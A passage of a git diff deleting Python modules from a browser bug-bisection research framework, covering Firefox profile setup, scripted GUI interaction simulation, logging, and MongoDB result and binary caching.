Chromium(browser_config, eval_config, binary) - elif browser_config.browser_name == 'firefox': - return Firefox(browser_config, eval_config, binary) - else: - raise AttributeError('Not implemented') diff --git a/bci/browser/configuration/firefox.py b/bci/browser/configuration/firefox.py deleted file mode 100644 index d543ce33..00000000 --- a/bci/browser/configuration/firefox.py +++ /dev/null @@ -1,110 +0,0 @@ -import os - -from bci import cli -from bci.browser.configuration.browser import Browser -from bci.browser.configuration.options import BlockThirdPartyCookies, Default, PrivateBrowsing, TrackingProtection -from bci.browser.configuration.profile import prepare_firefox_profile - -SUPPORTED_OPTIONS = [ - Default(), - BlockThirdPartyCookies(), - PrivateBrowsing(), - TrackingProtection() -] - -SELENIUM_USED_FLAGS = [ - '--no-remote', - '--new-instance' -] - - -class Firefox(Browser): - - def get_navigation_sleep_duration(self) -> int: - return 2 - - def get_open_console_hotkey(self) -> list[str]: - return ["ctrl", "shift", "k"] - - def _get_terminal_args(self) -> list[str]: - assert self._profile_path is not None - - args = [self._get_executable_file_path()] - args.extend(['-profile', self._profile_path]) - args.append('-setDefaultBrowser') - user_prefs = [] - - def add_user_pref(key: str, value: str | int | bool): - if isinstance(value, str): - user_prefs.append(f'user_pref("{key}", "{value}");'.lower()) - else: - user_prefs.append(f'user_pref("{key}", {value});'.lower()) - - add_user_pref('app.update.enabled', False) - add_user_pref('browser.shell.checkDefaultBrowser', False) - if 'default' in self.browser_config.browser_setting: - pass - elif 'btpc' in self.browser_config.browser_setting: - add_user_pref('network.cookie.cookieBehavior', 1) - add_user_pref('browser.contentblocking.category', 'custom') - elif 'tp' in self.browser_config.browser_setting: - if int(self.version) >= 65: - add_user_pref('privacy.trackingprotection.enabled', True) - add_user_pref('pref.privacy.disable_button.change_blocklis', False) - add_user_pref('pref.privacy.disable_button.tracking_protection_exceptions', False) - add_user_pref('urlclassifier.trackingTable', 'test-track-simple,base-track-digest256,content-track-digest256') - else: - add_user_pref('privacy.contentblocking.category', 'strict') - add_user_pref('privacy.trackingprotection.enabled', True) - add_user_pref('privacy.trackingprotection.socialtracking.enabled', True) - add_user_pref('network.cookie.cookieBehavior', True) - add_user_pref('pref.privacy.disable_button.tracking_protection_exceptions', True) - elif 'no-tp' in self.browser_config.browser_setting: - add_user_pref('network.cookie.cookieBehavior', 0) - add_user_pref('browser.contentblocking.category', 'custom') - add_user_pref('privacy.trackingprotection.cryptomining.enabled', False) - add_user_pref('privacy.trackingprotection.fingerprinting.enabled', False) - add_user_pref('privacy.trackingprotection.pbmode.enabled', False) - elif 'pb' in self.browser_config.browser_setting: - args.append('-private') - elif 'allow-java-applets' in self.browser_config.browser_setting: - add_user_pref('plugin.state.java', 2) - else: - raise NotImplementedError() - - if self.browser_config.extensions: - raise AttributeError("Not implemented") - - args.extend(self.browser_config.cli_options) - args.extend(SELENIUM_USED_FLAGS) - self.__create_prefs_file(user_prefs) - return args - - def __create_prefs_file(self, user_prefs: list[str]): - with open(os.path.join(self._profile_path, 'prefs.js'), 'a') as file: - file.write('\n'.join(user_prefs)) - - def _prepare_profile_folder(self): - # TODO: double check validity of Firefox profiles - if 'tp' in self.browser_config.browser_setting: - self._profile_path = prepare_firefox_profile('tp-67') - else: - self._profile_path = prepare_firefox_profile() - - # Make Firefox trust the bughog CA - - # For newer Firefox versions (> 57): - # Generate SQLite database: cert9.db key4.db pkcs11.txt - cli.execute( - f'certutil -A -n bughog-ca -t CT,c -i /etc/nginx/ssl/certs/bughog_CA.crt -d sql:{self._profile_path}' - ) - # For older Firefox versions (<= 57): - # Generate in Berkeley DB database: cert8.db, key3.db, secmod.db - cli.execute( - f'certutil -A -n bughog-ca -t CT,c -i /etc/nginx/ssl/certs/bughog_CA.crt -d dbm:{self._profile_path}' - ) - - # More info: - # - https://support.mozilla.org/en-US/questions/1207165 - # - https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla - # - https://ftpdocs.broadcom.com/cadocs/0/CA%20SiteMinder%20r12%20SP3-ENU/Bookshelf_Files/HTML/idocs/792390.html diff --git a/bci/browser/configuration/options.py b/bci/browser/configuration/options.py deleted file mode 100644 index 92a9921e..00000000 --- a/bci/browser/configuration/options.py +++ /dev/null @@ -1,25 +0,0 @@ -from dataclasses import dataclass, field - - -@dataclass(frozen=True) -class Default: - pretty: str = field(default='Default', init=False) - short: str = field(default='default', init=False) - - -@dataclass(frozen=True) -class BlockThirdPartyCookies: - pretty: str = field(default='Block third-party cookies (beta)', init=False) - short: str = field(default='btpc', init=False) - - -@dataclass(frozen=True) -class TrackingProtection: - pretty: str = field(default='Tracking protection (beta)', init=False) - short: str = field(default='tp', init=False) - - -@dataclass(frozen=True) -class PrivateBrowsing: - pretty: str = field(default='Private browsing (beta)', init=False) - short: str = field(default='pb', init=False) diff --git a/bci/browser/interaction/interaction.py b/bci/browser/interaction/interaction.py deleted file mode 100644 index a277db20..00000000 --- a/bci/browser/interaction/interaction.py +++ /dev/null @@ -1,65 +0,0 @@ -import logging -from inspect import signature -from urllib.parse import quote_plus - -from bci.browser.configuration.browser import Browser as BrowserConfig -from bci.browser.interaction.simulation import Simulation -from bci.evaluations.logic import TestParameters -from bci.browser.interaction.simulation_exception import SimulationException - -logger = logging.getLogger(__name__) - - -class Interaction: - browser: BrowserConfig - script: list[str] - params: TestParameters - - def __init__(self, browser: BrowserConfig, script: list[str], params: TestParameters) -> None: - self.browser = browser - self.script = script - self.params = params - - def execute(self) -> None: - simulation = Simulation(self.browser, self.params) - - if self._interpret(simulation): - simulation.sleep(str(self.browser.get_navigation_sleep_duration())) - simulation.navigate('https://a.test/report/?bughog_sanity_check=OK') - - def _interpret(self, simulation: Simulation) -> bool: - try: - for statement in self.script: - if statement.strip() == '' or statement[0] == '#': - continue - - cmd, *args = statement.split() - method_name = cmd.lower() - - if method_name not in Simulation.public_methods: - raise Exception( - f'Invalid command `{cmd}`. Expected one of {", ".join(map(lambda m: m.upper(), Simulation.public_methods))}.' - ) - - method = getattr(simulation, method_name) - method_params = list(signature(method).parameters.values()) - - # Allow different number of arguments only for variable argument number (*) - if len(method_params) != len(args) and (len(method_params) < 1 or str(method_params[0])[0] != '*'): - raise Exception( - f'Invalid number of arguments for command `{cmd}`. Expected {len(method_params)}, got {len(args)}.' - ) - - logger.debug(f'Executing interaction method `{method_name}` with the arguments {args}') - - method(*args) - - return True - except SimulationException as e: - # Simulation exception - sane behaviour, but do not continue interpreting - simulation.navigate(f'https://a.test/report/?exception={quote_plus(str(e))}') - return True - except Exception as e: - # Unexpected exception type - not sane, report the exception - simulation.navigate(f'https://a.test/report/?uncaught-exception={quote_plus(type(e).__name__)}&message={quote_plus(str(e))}') - return False \ No newline at end of file diff --git a/bci/browser/interaction/simulation.py b/bci/browser/interaction/simulation.py deleted file mode 100644 index 9f799cc8..00000000 --- a/bci/browser/interaction/simulation.py +++ /dev/null @@ -1,119 +0,0 @@ -import os -from time import sleep - -import pyautogui as gui -import Xlib.display -from pyvirtualdisplay.display import Display - -from bci.browser.configuration.browser import Browser as BrowserConfig -from bci.browser.interaction.simulation_exception import SimulationException -from bci.evaluations.logic import TestParameters - - -class Simulation: - browser_config: BrowserConfig - params: TestParameters - - public_methods: list[str] = [ - 'navigate', - 'new_tab', - 'click_position', - 'click', - 'write', - 'press', - 'hold', - 'release', - 'hotkey', - 'sleep', - 'screenshot', - 'report_leak', - 'assert_file_contains', - 'open_file', - 'open_console', - ] - - def __init__(self, browser_config: BrowserConfig, params: TestParameters): - self.browser_config = browser_config - self.params = params - disp = Display(visible=True, size=(1920, 1080), backend='xvfb', use_xauth=True) - disp.start() - gui._pyautogui_x11._display = Xlib.display.Display(os.environ['DISPLAY']) - - def __del__(self): - self.browser_config.terminate() - - def parse_position(self, position: str, max_value: int) -> int: - # Screen percentage - if position[-1] == '%': - return round(max_value * (int(position[:-1]) / 100)) - - # Absolute value in pixels - return int(position) - - # --- PUBLIC METHODS --- - def navigate(self, url: str): - self.browser_config.terminate() - self.browser_config.open(url) - self.sleep(str(self.browser_config.get_navigation_sleep_duration())) - self.click_position("100", "50%") # focus the browser window - - def new_tab(self, url: str): - self.hotkey("ctrl", "t") - self.sleep("0.5") - self.write(url) - self.press("enter") - self.sleep(str(self.browser_config.get_navigation_sleep_duration())) - - def click_position(self, x: str, y: str): - max_x, max_y = gui.size() - - gui.moveTo(self.parse_position(x, max_x), self.parse_position(y, max_y)) - gui.click() - - def click(self, el_id: str): - el_image_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f'elements/{el_id}.png') - x, y = gui.locateCenterOnScreen(el_image_path) - self.click_position(str(x), str(y)) - - def write(self, text: str): - gui.write(text, interval=0.1) - - def press(self, key: str): - gui.press(key) - - def hold(self, key: str): - gui.keyDown(key) - - def release(self, key: str): - gui.keyUp(key) - - def hotkey(self, *keys: str): - gui.hotkey(*keys) - - def sleep(self, duration: str): - sleep(float(duration)) - - def screenshot(self, filename: str): - filename = f'{self.params.evaluation_configuration.project}-{self.params.mech_group}-{filename}-{type(self.browser_config).__name__}-{self.browser_config.version}.jpg' - filepath = os.path.join(os.path.dirname(os.path.realpath(__file__)), '../../../logs/screenshots', filename) - gui.screenshot(filepath) - - def report_leak(self): - self.navigate(f'https://a.test/report/?leak={self.params.mech_group}') - - def assert_file_contains(self, filename: str, content: str): - filepath = os.path.join('/root/Downloads', filename) - - if not os.path.isfile(filepath): - raise SimulationException(f'file-{filename}-does-not-exist') - - with open(filepath, 'r') as f: - if content not in f.read(): - raise SimulationException(f'file-{filename}-does-not-contain-{content}') - - def open_file(self, filename: str): - self.navigate(f'file:///root/Downloads/{filename}') - - def open_console(self): - self.hotkey(*self.browser_config.get_open_console_hotkey()) - self.sleep("1.5") diff --git a/bci/browser/interaction/simulation_exception.py b/bci/browser/interaction/simulation_exception.py deleted file mode 100644 index 02f022d0..00000000 --- a/bci/browser/interaction/simulation_exception.py +++ /dev/null @@ -1,5 +0,0 @@ -class SimulationException(Exception): - """ - Common class for exceptions thrown upon failed experiment assertions defined by script.cmd. - """ - pass diff --git a/bci/browser/statistics.py b/bci/browser/statistics.py deleted file mode 100644 index 9471dbf3..00000000 --- a/bci/browser/statistics.py +++ /dev/null @@ -1,39 +0,0 @@ -def find_biggest_unavailability_gap(): - revision_nb_mapping = REVISION_NUMBER_MAPPING - - revision_nbs = [int(rev) for rev in revision_nb_mapping.keys()] - revision_nbs.sort() - # Find the biggest gap between two revision numbers - biggest_gap = 0 - biggest_gap_start = None - biggest_gap_end = None - for i in range(1, len(revision_nbs)): - start = revision_nbs[i - 1] - end = revision_nbs[i] - gap = end - start - print(f'{i}: {start} - {end} = {gap}') - if gap > biggest_gap: - biggest_gap = gap - biggest_gap_start = start - biggest_gap_end = end - - print(f"The biggest gap is between revision numbers {biggest_gap_start} and {biggest_gap_end} with a gap of {biggest_gap}") - - -def get_nb_of_revisions_per_major_version(): - binary_availability = BINARY_AVAILABILITY_MAPPING - - major_versions = {} - for item in binary_availability.values(): - major_version = item['app_version'] - if major_version not in major_versions: - major_versions[major_version] = {item['revision_number']} - major_versions[major_version].add(item['revision_number']) - - for major_version, nb_of_revisions in major_versions.items(): - print(f'Major version {major_version}: {len(nb_of_revisions)} revisions (%)') - - -if __name__ == '__main__': - find_biggest_unavailability_gap() - get_nb_of_revisions_per_major_version() diff --git a/bci/browser/support.py b/bci/browser/support.py deleted file mode 100644 index a122b260..00000000 --- a/bci/browser/support.py +++ /dev/null @@ -1,23 +0,0 @@ -import dataclasses - -import bci.version_control.repository.online.chromium as chromium_repo -import bci.version_control.repository.online.firefox as firefox_repo - -from bci.browser.configuration import chromium, firefox - - -def get_chromium_support() -> dict: - return { - 'name': 'chromium', - 'min_version': 20, - 'max_version': chromium_repo.get_most_recent_major_version(), - 'options': [dataclasses.asdict(option) for option in chromium.SUPPORTED_OPTIONS] - } - -def get_firefox_support() -> dict: - return { - 'name': 'firefox', - 'min_version': 20, - 'max_version': firefox_repo.get_most_recent_major_version(), - 'options': [dataclasses.asdict(option) for option in firefox.SUPPORTED_OPTIONS] - } diff --git a/bci/configuration.py b/bci/configuration.py deleted file mode 100644 index 4aa4692a..00000000 --- a/bci/configuration.py +++ /dev/null @@ -1,183 +0,0 @@ -import logging -import logging.handlers -import os -import sys - -import bci.database.mongo.container as container -from bci.evaluations.logic import DatabaseParameters - -logger = logging.getLogger(__name__) - - -class Global: - custom_page_folder = '/app/experiments/pages' - - @staticmethod - def get_extension_folder(browser: str) -> str: - return Global.get_browser_config_class(browser).extension_folder - - @staticmethod - def get_browser_config_class(browser: str): - match browser: - case 'chromium': - return Chromium - case 'firefox': - return Firefox - case _: - raise ValueError(f"Invalid browser '{browser}'") - - @staticmethod - def get_available_domains() -> list[str]: - return [ - 'a.test', - 'sub.a.test', - 'sub.sub.a.test', - 'b.test', - 'sub.b.test', - 'leak.test', - 'adition.com', - ] - - @staticmethod - def check_required_env_parameters() -> bool: - fatal = False - # HOST_PWD - if (host_pwd := os.getenv('HOST_PWD')) in ['', None]: - logger.fatal( - 'The "HOST_PWD" variable is not set. If you\'re using sudo, you might have to pass it explicitly, for example "sudo HOST_PWD=$PWD docker compose up".' - ) - fatal = True - else: - logger.debug(f'HOST_PWD={host_pwd}') - - # BUGHOG_VERSION - if (bughog_version := os.getenv('BUGHOG_VERSION')) in ['', None]: - logger.fatal('"BUGHOG_VERSION" variable is not set.') - fatal = True - else: - logger.info(f'Starting BugHog with tag "{bughog_version}"') - - return not fatal - - @staticmethod - def initialize_folders(): - for browser in ['chromium', 'firefox']: - if not os.path.isfile(f'/app/browser/binaries/{browser}/artisanal/meta.json'): - with open(f'/app/browser/binaries/{browser}/artisanal/meta.json', 'w') as file: - file.write('{}') - - @staticmethod - def get_database_params() -> DatabaseParameters: - required_database_params = ['BCI_MONGO_HOST', 'BCI_MONGO_USERNAME', 'BCI_MONGO_DATABASE', 'BCI_MONGO_PASSWORD'] - missing_database_params = [param for param in required_database_params if os.getenv(param) in ['', None]] - binary_cache_limit = int(os.getenv('BCI_BINARY_CACHE_LIMIT', 0)) - if missing_database_params: - logger.info(f'Could not find database parameters {missing_database_params}, using database container...') - return container.run(binary_cache_limit) - else: - database_params = DatabaseParameters( - os.getenv('BCI_MONGO_HOST'), - os.getenv('BCI_MONGO_USERNAME'), - os.getenv('BCI_MONGO_PASSWORD'), - os.getenv('BCI_MONGO_DATABASE'), - binary_cache_limit, - ) - logger.info(f"Found database environment variables '{database_params}'") - return database_params - - @staticmethod - def get_tag() -> str: - """ - Returns the Docker image tag of BugHog. - This should never be empty. - """ - bughog_version = os.getenv('BUGHOG_VERSION', None) - if bughog_version is None or bughog_version == '': - raise ValueError('BUGHOG_VERSION is not set') - return bughog_version - - -class Chromium: - extension_folder = '/app/browser/extensions/chromium' - repo_to_use = 'online' - - -class Firefox: - extension_folder = '/app/browser/extensions/firefox' - repo_to_use = 'online' - - -class CustomHTTPHandler(logging.handlers.HTTPHandler): - def __init__( - self, host: str, url: str, method: str = 'GET', secure: bool = False, credentials=None, context=None - ) -> None: - super().__init__(host, url, method=method, secure=secure, credentials=credentials, context=context) - self.hostname = os.getenv('HOSTNAME') - - def mapLogRecord(self, record): - record_dict = super().mapLogRecord(record) - record_dict['hostname'] = self.hostname - return record_dict - - -class Loggers: - formatter = logging.Formatter( - fmt='[%(asctime)s] [%(levelname)s] %(name)s: %(message)s', datefmt='%d-%m-%Y %H:%M:%S' - ) - memory_handler = logging.handlers.MemoryHandler(capacity=100, flushLevel=logging.ERROR) - - @staticmethod - def configure_loggers(): - hostname = os.getenv('HOSTNAME') - - # Configure bci_logger - bci_logger = logging.getLogger('bci') - bci_logger.setLevel(logging.DEBUG) - - # Configure stream handler - stream_handler = logging.StreamHandler() - stream_handler.setLevel(logging.DEBUG) - stream_handler.setFormatter(Loggers.formatter) - bci_logger.addHandler(stream_handler) - - # Configure file handler - file_handler = logging.handlers.RotatingFileHandler(f'/app/logs/{hostname}.log', mode='a', backupCount=3, maxBytes=8*1024*1024) - file_handler.setLevel(logging.DEBUG) - file_handler.setFormatter(Loggers.formatter) - bci_logger.addHandler(file_handler) - - # Configure http handler for workers - if hostname != 'bh_core': - http_handler = CustomHTTPHandler('core:5000', '/api/log/', method='POST', secure=False) - http_handler.setLevel(logging.INFO) - http_handler.setFormatter(Loggers.formatter) - bci_logger.addHandler(http_handler) - - # Configure memory handler - Loggers.memory_handler.setLevel(logging.INFO) - Loggers.memory_handler.setFormatter(Loggers.formatter) - bci_logger.addHandler(Loggers.memory_handler) - - # Log uncaught exceptions - def handle_exception(exc_type, exc_value, exc_traceback): - if issubclass(exc_type, KeyboardInterrupt): - sys.__excepthook__(exc_type, exc_value, exc_traceback) - return - bci_logger.critical('Uncaught exception', exc_info=(exc_type, exc_value, exc_traceback)) - - sys.excepthook = handle_exception - - bci_logger.debug('Loggers initialized') - - @staticmethod - def get_logs() -> list[str]: - return list( - map( - lambda x: Loggers.format_to_user_log(x.__dict__), - Loggers.memory_handler.buffer, - ) - ) - - @staticmethod - def format_to_user_log(log: dict) -> str: - return f'[{log["asctime"]}] [{log["levelname"]}] {log["name"]}: {log["msg"]}' diff --git a/bci/database/mongo/binary_cache.py b/bci/database/mongo/binary_cache.py deleted file mode 100644 index 9c832250..00000000 --- a/bci/database/mongo/binary_cache.py +++ /dev/null @@ -1,182 +0,0 @@ -import concurrent.futures -import datetime -import logging -import os -import time -from typing import Optional - -from bci.database.mongo.mongodb import MongoDB -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - - -class BinaryCache: - """ - The binary cache is used to store and fetch binary files from the database. - """ - - @staticmethod - def fetch_binary_files(binary_executable_path: str, state: State) -> bool: - """ - Fetches the binary files from the database and stores them in the directory of the given path. - - :param binary_executable_path: The path to store the executable binary file. - :param state: The state of the binary. - :return: True if the binary was fetched, False otherwise. - """ - if MongoDB().binary_cache_limit <= 0: - return False - - files_collection = MongoDB().get_collection('fs.files') - - query = { - 'file_type': 'binary', - 'browser_name': state.browser_name, - 'state_type': state.type, - 'state_index': state.index, - } - if files_collection.count_documents(query) == 0: - return False - # Update access count and last access timestamp - files_collection.update_many( - query, - {'$inc': {'access_count': 1}, '$set': {'last_access_ts': datetime.datetime.now()}}, - ) - binary_folder_path = os.path.dirname(binary_executable_path) - if not os.path.exists(binary_folder_path): - os.mkdir(binary_folder_path) - - def write_from_db(file_path: str, grid_file_id: str) -> None: - grid_file = fs.get(grid_file_id) - os.makedirs(os.path.dirname(file_path), exist_ok=True) - with open(file_path, 'wb') as file: - file.write(grid_file.read()) - os.chmod(file_path, 0o744) - - grid_cursor = files_collection.find(query) - fs = MongoDB().gridfs - start_time = time.time() - with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor: - for grid_doc in grid_cursor: - file_path = os.path.join(binary_folder_path, grid_doc['relative_file_path']) - grid_file_id = grid_doc['_id'] - executor.submit(write_from_db, file_path, grid_file_id) - - executor.shutdown(wait=True) - elapsed_time = time.time() - start_time - logger.debug(f'Fetched cached binary in {elapsed_time:.2f}s') - return True - - @staticmethod - def store_binary_files(binary_executable_path: str, state: State): - """ - Stores the files in the folder of the given path in the database. - - :param binary_executable_path: The path to the binary executable. - :param state: The state of the binary. - :return: True if the binary was stored, False otherwise. - """ - if MongoDB().binary_cache_limit <= 0: - return False - - while BinaryCache.__count_cached_binaries() >= MongoDB().binary_cache_limit: - if BinaryCache.__count_cached_binaries(state_type='revision') <= 0: - # There are only version binaries in the cache, which will never be removed - return False - BinaryCache.__remove_least_used_revision_binary_files() - - logger.debug(f"Caching binary files for {state}...") - fs = MongoDB().gridfs - - binary_folder_path = os.path.dirname(binary_executable_path) - last_access_ts = datetime.datetime.now() - def store_file(file_path: str) -> None: - # Max chunk size is 16 MB (meta-data included) - chunk_size = 1024 * 1024 * 15 - with open(file_path, 'rb') as file: - file_id = fs.new_file( - file_type='binary', - browser_name=state.browser_name, - state_type=state.type, - state_index=state.index, - relative_file_path=os.path.relpath(file_path, binary_folder_path), - access_count=0, - last_access_ts=last_access_ts, - chunk_size=chunk_size - ) - while chunk := file.read(chunk_size): - file_id.write(chunk) - file_id.close() - - start_time = time.time() - with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor: - futures = [] - for root, _, files in os.walk(binary_folder_path): - for file in files: - file_path = os.path.join(root, file) - future = executor.submit(store_file, file_path) - futures.append(future) - logger.debug(f"Number of files to cache: {len(futures)}") - executor.shutdown(wait=True) - - futures_with_exception = [future for future in futures if future.exception() is not None] - if futures_with_exception: - logger.error( - ( - f"Something went wrong caching binary files for {state}, " - "Removing possibly imcomplete binary files from cache." - ), - exc_info=futures_with_exception[0].exception() - ) - BinaryCache.__remove_revision_binary_files(state.type, state.index) - logger.debug(f"Removed possibly incomplete cached binary files for {state}.") - else: - elapsed_time = time.time() - start_time - logger.debug(f'Stored binary in {elapsed_time:.2f}s') - - @staticmethod - def remove_binary_files(state: State) -> None: - BinaryCache.__remove_revision_binary_files(state.type, state.index) - - @staticmethod - def __count_cached_binaries(state_type: Optional[str] = None) -> int: - """ - Counts the number of cached binaries in the database. - - :param state_type: The type of the state. - :return: The number of cached binaries. - """ - files_collection = MongoDB().get_collection('fs.files') - if state_type: - query = {'file_type': 'binary', 'state_type': state_type} - else: - query = {'file_type': 'binary'} - return len(files_collection.find(query).distinct('state_index')) - - @staticmethod - def __remove_least_used_revision_binary_files() -> None: - """ - Removes the least used revision binary files from the database. - """ - files_collection = MongoDB().get_collection('fs.files') - - grid_cursor = files_collection.find( - {'file_type': 'binary', 'state_type': 'revision'}, - sort=[('access_count', 1), ('last_access_ts', 1)], - ) - for state_doc in grid_cursor: - state_index = state_doc['state_index'] - BinaryCache.__remove_revision_binary_files('revision', state_index) - break - - @staticmethod - def __remove_revision_binary_files(state_type: str, state_index: int) -> None: - """ - Removes the binary files associated with the parameters. - """ - fs = MongoDB().gridfs - files_collection = MongoDB().get_collection('fs.files') - - for grid_doc in files_collection.find({'state_index': state_index, 'state_type': state_type}): - fs.delete(grid_doc['_id']) diff --git a/bci/database/mongo/mongodb.py b/bci/database/mongo/mongodb.py deleted file mode 100644 index 57029e00..00000000 --- a/bci/database/mongo/mongodb.py +++ /dev/null @@ -1,398 +0,0 @@ -from __future__ import annotations - -import logging -from datetime import datetime, timezone -from typing import Optional - -from flatten_dict import flatten -from gridfs import GridFS -from pymongo import ASCENDING, MongoClient -from pymongo.collection import Collection -from pymongo.database import Database -from pymongo.errors import ServerSelectionTimeoutError - -from bci.evaluations.logic import ( - DatabaseParameters, - EvaluationParameters, - PlotParameters, - TestParameters, - TestResult, -) -from bci.version_control.state_result_factory import StateResultFactory -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - - -def singleton(class_): - instances = {} - - def get_instance(*args, **kwargs): - if class_ not in instances: - instances[class_] = class_(*args, **kwargs) - return instances[class_] - - return get_instance - - -@singleton -class MongoDB: - instance = None - binary_cache_limit = 0 - - binary_availability_collection_names = { - 'chromium': 'chromium_binary_availability', - 'firefox': 'firefox_binary_availability', - } - - def __init__(self): - self.client: Optional[MongoClient] = None - self._db: Optional[Database] = None - - def connect(self, db_params: DatabaseParameters) -> None: - assert db_params is not None - - self.client = MongoClient( - host=db_params.host, - port=27017, - username=db_params.username, - password=db_params.password, - authsource=db_params.database_name, - retryWrites=False, - serverSelectionTimeoutMS=10000, - ) - self.binary_cache_limit = db_params.binary_cache_limit - logger.info(f'Binary cache limit set to {db_params.binary_cache_limit}') - # Force connection to check whether MongoDB server is reachable - try: - self.client.server_info() - self._db = self.client[db_params.database_name] - logger.info('Connected to database!') - except ServerSelectionTimeoutError as e: - logger.info('A timeout occurred while attempting to establish connection.', exc_info=True) - raise ServerException from e - - # Initialize collections - self.__initialize_collections() - - def disconnect(self): - if self.client: - self.client.close() - self.client = None - self._db = None - - def __initialize_collections(self): - if self._db is None: - raise - - for collection_name in ['chromium_binary_availability']: - if collection_name not in self._db.list_collection_names(): - self._db.create_collection(collection_name) - - # Binary cache - if 'fs.files' not in self._db.list_collection_names(): - # Create the 'fs.files' collection with indexes - self._db.create_collection('fs.files') - self._db['fs.files'].create_index( - ['state_type', 'browser_name', 'state_index', 'relative_file_path'], unique=True - ) - if 'fs.chunks' not in self._db.list_collection_names(): - # Create the 'fs.chunks' collection with zstd compression - self._db.create_collection( - 'fs.chunks', storageEngine={'wiredTiger': {'configString': 'block_compressor=zstd'}} - ) - self._db['fs.chunks'].create_index(['files_id', 'n'], unique=True) - - # Revision cache - if 'firefox_binary_availability' not in self._db.list_collection_names(): - self._db.create_collection('firefox_binary_availability') - self._db['firefox_binary_availability'].create_index([('revision_number', ASCENDING)]) - self._db['firefox_binary_availability'].create_index(['node']) - if 'firefox_release_base_revs' not in self._db.list_collection_names(): - self._db.create_collection('firefox_release_base_revs') - if 'chromium_release_base_revs' not in self._db.list_collection_names(): - self._db.create_collection('chromium_release_base_revs') - - def get_collection(self, name: str, create_if_not_found: bool = False) -> Collection: - if self._db is None: - raise ServerException('Database server does not have a database') - if name not in self._db.list_collection_names(): - if create_if_not_found: - return self._db.create_collection(name) - else: - raise ServerException(f"Could not find collection '{name}'") - return self._db[name] - - def get_all_collection_names_for_browser(self, browser_name: str) -> list[str]: - """ - Returns all collections associated with the given browser. - """ - if self._db is None: - raise ServerException('Database server does not have a database') - return self._db.list_collection_names(filter={'name': {'$regex': rf'^.+_{browser_name}$'}}) - - @property - def gridfs(self) -> GridFS: - if self._db is None: - raise ServerException('Database server does not have a database') - return GridFS(self._db) - - def store_result(self, result: TestResult): - """ - Upserts the result. - """ - browser_config = result.params.browser_configuration - eval_config = result.params.evaluation_configuration - collection = self.__get_data_collection(result.params) - query = { - 'browser_automation': eval_config.automation, - 'browser_version': result.browser_version, - 'binary_origin': result.binary_origin, - 'padded_browser_version': result.padded_browser_version, - 'browser_config': browser_config.browser_setting, - 'cli_options': browser_config.cli_options, - 'extensions': browser_config.extensions, - 'state': result.params.state.to_dict(), - 'mech_group': result.params.mech_group - } - if result.driver_version: - query['driver_version'] = result.driver_version - - if browser_config.browser_name == 'firefox': - build_id = self.get_build_id_firefox(result.params.state) - if build_id is None: - query['artisanal'] = True - query['build_id'] = 'artisanal' - else: - query['build_id'] = build_id - update = { - '$set': { - 'results': result.data, - 'dirty': result.is_dirty, - 'ts': str(datetime.now(timezone.utc).replace(microsecond=0)), - } - } - collection.update_one(query, update, upsert=True) - - def get_result(self, params: TestParameters) -> Optional[TestResult]: - collection = self.__get_data_collection(params) - query = self.__to_test_query(params) - document = collection.find_one(query) - if document: - return params.create_test_result_with( - document['browser_version'], document['binary_origin'], document['results'], document['dirty'] - ) - else: - logger.error(f'Could not find document for query {query}') - return None - - def has_result(self, params: TestParameters) -> bool: - collection = self.__get_data_collection(params) - query = self.__to_test_query(params) - nb_of_documents = collection.count_documents(query) - return nb_of_documents > 0 - - def get_evaluated_states( - self, params: EvaluationParameters, boundary_states: Optional[tuple[State, State]], result_factory: StateResultFactory, dirty: Optional[bool]=None - ) -> list[State]: - collection = self.get_collection(params.database_collection, create_if_not_found=True) - query = { - 'browser_config': params.browser_configuration.browser_setting, - 'mech_group': params.evaluation_range.mech_group, - 'state.browser_name': params.browser_configuration.browser_name, - 'results': {'$exists': True}, - 'state.type': 'version' if params.evaluation_range.only_release_revisions else 'revision', - } - if boundary_states is not None: - query['state.revision_number'] = { - '$gte': boundary_states[0].revision_nb, - '$lte': boundary_states[1].revision_nb, - } - if params.browser_configuration.extensions: - query['extensions'] = { - '$size': len(params.browser_configuration.extensions), - '$all': params.browser_configuration.extensions, - } - else: - query['extensions'] = [] - if params.browser_configuration.cli_options: - query['cli_options'] = { - '$size': len(params.browser_configuration.cli_options), - '$all': params.browser_configuration.cli_options, - } - else: - query['cli_options'] = [] - if dirty is not None: - query['dirty'] = dirty - cursor = collection.find(query) - states = [] - for doc in cursor: - state = State.from_dict(doc['state']) - state.result = result_factory.get_result(doc['results']) - states.append(state) - return states - - def __to_test_query(self, params: TestParameters) -> dict: - query = { - 'state': params.state.to_dict(), - 'browser_automation': params.evaluation_configuration.automation, - 'browser_config': params.browser_configuration.browser_setting, - 'mech_group': params.mech_group, - } - if len(params.browser_configuration.extensions) > 0: - query['extensions'] = { - '$size': len(params.browser_configuration.extensions), - '$all': params.browser_configuration.extensions, - } - else: - query['extensions'] = [] - if len(params.browser_configuration.cli_options) > 0: - query['cli_options'] = { - '$size': len(params.browser_configuration.cli_options), - '$all': params.browser_configuration.cli_options, - } - else: - query['cli_options'] = [] - return query - - def __get_data_collection(self, test_params: TestParameters) -> Collection: - collection_name = test_params.database_collection - return self.get_collection(collection_name, create_if_not_found=True) - - def get_binary_availability_collection(self, browser_name: str): - collection_name = self.binary_availability_collection_names[browser_name] - return self.get_collection(collection_name, create_if_not_found=True) - - # Caching of online binary availability - - def has_binary_available_online(self, browser: str, state: State): - collection = self.get_binary_availability_collection(browser) - document = collection.find_one({'state': state.to_dict()}) - if document is None: - return None - return document['binary_online'] - - def get_stored_binary_availability(self, browser): - collection = MongoDB().get_binary_availability_collection(browser) - result = collection.find( - {'binary_online': True}, - { - '_id': False, - 'state': True, - }, - ) - if browser == 'firefox': - result.sort('build_id', -1) - return result - - def get_complete_state_dict_from_binary_availability_cache(self, state: State) -> Optional[dict]: - collection = MongoDB().get_binary_availability_collection(state.browser_name) - # We have to flatten the state dictionary to ignore missing attributes. - state_dict = {'state': state.to_dict()} - query = flatten(state_dict, reducer='dot') - document = collection.find_one(query) - if document is None: - return None - return document['state'] - - def store_binary_availability_online_cache( - self, browser: str, state: State, binary_online: bool, url: Optional[str] = None - ): - collection = MongoDB().get_binary_availability_collection(browser) - collection.update_one( - {'state': state.to_dict()}, - { - '$set': { - 'state': state.to_dict(), - 'binary_online': binary_online, - 'url': url, - 